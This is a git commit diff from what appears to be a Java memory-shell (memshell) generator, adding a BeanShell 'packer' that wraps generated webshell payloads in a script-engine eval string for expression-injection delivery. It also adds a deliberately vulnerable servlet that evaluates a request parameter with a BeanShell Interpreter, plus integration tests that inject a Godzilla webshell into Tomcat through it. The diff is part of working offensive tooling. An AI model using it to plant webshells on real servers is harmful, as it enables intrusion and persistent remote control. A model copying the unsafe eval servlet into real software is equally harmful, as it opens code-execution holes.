feat: support bsh packer

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java

@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.packer;
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
-import lombok.Getter;
-
-import java.util.Map;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
 import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
 import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
 import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
+import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
 import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
 import com.reajason.javaweb.memshell.packer.el.ELPacker;
 import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
@@ -72,15 +73,12 @@ public enum Packers {
      * EL
      */
     EL(new ELPacker()),
-
     OGNL(new OGNLPacker()),
     MVEL(new MVELPacker()),
+    Aviator(new AviatorPacker()),
     JXPath(new JXPathPacker()),
     JEXL(new JEXLPacker()),
-    Groovy(new GroovyPacker()),
+    BSH(new BeanShellPacker()),
-    Aviator(new AviatorPacker()),
-    Rhino(new RhinoPacker()),
-    JinJava(new JinJavaPacker()),
 
     SpEL(new SpELPacker()),
     SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
@@ -88,8 +86,10 @@ public enum Packers {
     SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
 
     Freemarker(new FreemarkerPacker()),
-
     Velocity(new VelocityPacker()),
+    Groovy(new GroovyPacker()),
+    Rhino(new RhinoPacker()),
+    JinJava(new JinJavaPacker()),
 
     AgentJar(new AgentJarPacker()),
 

generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.packer.bsh;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/30
+ */
+public class BeanShellPacker implements Packer {
+    String template = "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"{{script}}\")";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script.replaceAll("\\\"", "'"));
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/DeserializePacker.java

@@ -1,9 +1,9 @@
 package com.reajason.javaweb.memshell.packer.deserialize;
 
-import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.deserialize.DeserializeConfig;
 import com.reajason.javaweb.deserialize.DeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.SneakyThrows;
 import org.apache.commons.codec.binary.Base64;

generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java

@@ -3,12 +3,6 @@ package com.reajason.javaweb.memshell.packer.freemarker;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import com.reajason.javaweb.memshell.packer.Packers;
-import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
-import org.apache.commons.io.IOUtils;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.util.Objects;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java

@@ -3,11 +3,6 @@ package com.reajason.javaweb.memshell.packer.ognl;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import com.reajason.javaweb.memshell.packer.Packers;
-import org.apache.commons.io.IOUtils;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.util.Objects;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java

@@ -3,12 +3,6 @@ package com.reajason.javaweb.memshell.packer.velocity;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import com.reajason.javaweb.memshell.packer.Packers;
-import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
-import org.apache.commons.io.IOUtils;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.util.Objects;
 
 /**
  * @author ReaJason

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -152,12 +152,14 @@ public class ShellAssertionTool {
             case Aviator -> VulTool.postData(url + "/aviator", content);
             case Groovy -> VulTool.postData(url + "/groovy", content);
             case Rhino -> VulTool.postData(url + "/rhino", content);
+            case BSH -> VulTool.postData(url + "/bsh", content);
             case JinJava -> VulTool.postData(url + "/jinjava", content);
             case Freemarker -> VulTool.postData(url + "/freemarker", content);
             case Velocity -> VulTool.postData(url + "/velocity", content);
             case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
             case Base64 -> VulTool.postData(url + "/b64", content);
             case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
+            default -> throw new IllegalStateException("Unexpected value: " + packer);
         }
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java

@@ -49,6 +49,7 @@ public class Tomcat8ExpressionContainerTest {
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.BSH),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Rhino),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JinJava),
@@ -60,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
+        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

vul/vul-webapp-expression/build.gradle

@@ -22,6 +22,7 @@ dependencies {
     implementation 'org.apache.velocity:velocity:1.7'
     implementation 'ognl:ognl:2.7.3'
     implementation 'org.mvel:mvel2:2.4.7.Final'
+    implementation 'org.beanshell:bsh:2.0b5'
     implementation 'org.apache.commons:commons-jexl:2.1.1'
     implementation 'org.apache.commons:commons-jexl3:3.2.1'
     implementation 'commons-jxpath:commons-jxpath:1.3'

vul/vul-webapp-expression/src/main/java/BeanShellServlet.java

@@ -0,0 +1,26 @@
+import bsh.EvalError;
+import bsh.Interpreter;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/30
+ */
+public class BeanShellServlet extends HttpServlet {
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        Interpreter i = new Interpreter();
+        try {
+            Object eval = i.eval(data);
+            resp.getWriter().println(eval);
+        } catch (EvalError e) {
+            throw new RuntimeException(e);
+        }
+    }
+}

vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java

@@ -1,4 +1,3 @@
-
 import org.apache.commons.jexl3.JexlBuilder;
 import org.apache.commons.jexl3.JexlEngine;
 import org.apache.commons.jexl3.JexlExpression;

vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml

@@ -126,6 +126,15 @@
         <url-pattern>/aviator</url-pattern>
     </servlet-mapping>
 
+    <servlet>
+        <servlet-name>bsh</servlet-name>
+        <servlet-class>BeanShellServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>bsh</servlet-name>
+        <url-pattern>/bsh</url-pattern>
+    </servlet-mapping>
+
     <servlet>
         <servlet-name>rhino</servlet-name>
         <servlet-class>RhinoServlet</servlet-class>

vul/vul-webapp-expression/src/test/java/JEXL3ServletTest.java

@@ -1,4 +1,3 @@
-import org.apache.commons.jexl2.Expression;
 import org.apache.commons.jexl3.*;
 import org.junit.jupiter.api.Test;